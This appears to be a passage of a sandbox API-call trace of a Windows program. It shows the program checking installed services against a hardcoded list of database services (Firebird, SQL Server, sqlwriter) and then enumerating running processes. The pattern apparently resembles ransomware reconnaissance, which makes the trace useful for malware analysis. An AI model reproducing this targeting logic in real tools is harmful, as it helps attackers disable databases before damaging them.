[0160.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0160.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0160.511] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0160.511] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0160.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0160.511] lstrlenW (lpString="netprofm") returned 8 [0160.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0160.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0160.511] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0160.512] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0160.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0160.512] lstrlenW (lpString="NgcSvc") returned 6 [0160.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0160.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0160.512] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0160.512] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0160.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0160.512] lstrlenW (lpString="NlaSvc") returned 6 [0160.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0160.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0160.512] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0160.512] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0160.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0160.512] lstrlenW (lpString="nsi") returned 3 [0160.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0160.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0160.512] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0160.512] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0160.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0160.512] lstrlenW (lpString="PcaSvc") returned 6 [0160.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0160.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0160.512] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0160.512] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0160.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0160.512] lstrlenW (lpString="PlugPlay") returned 8 [0160.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0160.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0160.513] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0160.513] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0160.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0160.513] lstrlenW (lpString="Power") returned 5 [0160.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0160.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0160.513] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0160.513] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0160.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0160.513] lstrlenW (lpString="ProfSvc") returned 7 [0160.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0160.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0160.513] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0160.513] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0160.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0160.513] lstrlenW (lpString="RpcEptMapper") returned 12 [0160.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.513] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0160.513] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0160.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0160.513] lstrlenW (lpString="RpcSs") returned 5 [0160.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0160.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0160.513] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0160.513] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0160.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0160.513] lstrlenW (lpString="SamSs") returned 5 [0160.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0160.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0160.514] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0160.514] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0160.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0160.514] lstrlenW (lpString="Schedule") returned 8 [0160.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0160.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0160.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0160.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0160.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0160.514] lstrlenW (lpString="SecurityHealthService") returned 21 [0160.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0160.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0160.514] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0160.514] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0160.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0160.514] lstrlenW (lpString="SENS") returned 4 [0160.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0160.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0160.514] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0160.514] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0160.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0160.514] lstrlenW (lpString="ShellHWDetection") returned 16 [0160.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.866] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0160.866] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0160.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0160.866] lstrlenW (lpString="Spooler") returned 7 [0160.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0160.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0160.867] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0160.867] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0160.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0160.867] lstrlenW (lpString="StateRepository") returned 15 [0160.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0160.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0160.867] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0160.867] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0160.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0160.867] lstrlenW (lpString="SysMain") returned 7 [0160.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0160.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0160.867] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0160.867] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0160.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0160.867] lstrlenW (lpString="SystemEventsBroker") returned 18 [0160.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0160.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0160.867] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0160.867] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0160.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0160.867] lstrlenW (lpString="Themes") returned 6 [0160.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0160.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0160.867] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0160.868] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0160.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0160.868] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0160.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0160.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0160.868] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0160.868] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0160.868] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78e100 | out: hHeap=0x710000) returned 1 [0160.868] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a0 [0160.876] Process32FirstW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.877] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0160.878] lstrlenW (lpString="System") returned 6 [0160.878] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0160.879] lstrlenW (lpString="smss.exe") returned 8 [0160.879] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0160.880] lstrlenW (lpString="csrss.exe") returned 9 [0160.880] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0160.880] lstrlenW (lpString="wininit.exe") returned 11 [0160.881] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0160.881] lstrlenW (lpString="csrss.exe") returned 9 [0160.881] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0160.882] lstrlenW (lpString="winlogon.exe") returned 12 [0160.882] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0160.883] lstrlenW (lpString="services.exe") returned 12 [0160.883] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0160.884] lstrlenW (lpString="lsass.exe") returned 9 [0160.884] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0160.885] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0160.885] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0160.886] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0160.886] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.887] lstrlenW (lpString="svchost.exe") returned 11 [0160.887] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.888] lstrlenW (lpString="svchost.exe") returned 11 [0160.888] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0160.889] lstrlenW (lpString="dwm.exe") returned 7 [0160.889] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.890] lstrlenW (lpString="svchost.exe") returned 11 [0160.890] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.891] lstrlenW (lpString="svchost.exe") returned 11 [0160.891] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.892] lstrlenW (lpString="svchost.exe") returned 11 [0160.892] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.893] lstrlenW (lpString="svchost.exe") returned 11 [0160.893] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.894] lstrlenW (lpString="svchost.exe") returned 11 [0160.894] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.895] lstrlenW (lpString="svchost.exe") returned 11 [0160.895] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.896] lstrlenW (lpString="svchost.exe") returned 11 [0160.896] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.897] lstrlenW (lpString="svchost.exe") returned 11 [0160.897] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.898] lstrlenW (lpString="svchost.exe") returned 11 [0160.898] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.899] lstrlenW (lpString="svchost.exe") returned 11 [0160.899] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0160.900] lstrlenW (lpString="spoolsv.exe") returned 11 [0160.900] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.901] lstrlenW (lpString="svchost.exe") returned 11 [0160.901] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0160.902] lstrlenW (lpString="audiodg.exe") returned 11 [0160.902] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0160.903] lstrlenW (lpString="taskhostw.exe") returned 13 [0160.903] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0160.904] lstrlenW (lpString="sihost.exe") returned 10 [0160.904] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.905] lstrlenW (lpString="svchost.exe") returned 11 [0161.435] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0161.436] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0161.436] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0161.459] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0161.459] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0161.460] lstrlenW (lpString="Memory Compression") returned 18 [0161.460] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0161.461] lstrlenW (lpString="taskhostw.exe") returned 13 [0161.461] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0161.462] lstrlenW (lpString="msoia.exe") returned 9 [0161.462] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0161.463] lstrlenW (lpString="explorer.exe") returned 12 [0161.463] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0161.464] lstrlenW (lpString="SearchUI.exe") returned 12 [0161.464] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0161.465] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0161.465] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0161.465] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0161.466] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0161.466] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0161.466] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0161.467] lstrlenW (lpString="wmxsde.exe") returned 10 [0161.467] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0161.469] lstrlenW (lpString="cmd.exe") returned 7 [0161.469] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0161.470] lstrlenW (lpString="conhost.exe") returned 11 [0161.470] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, 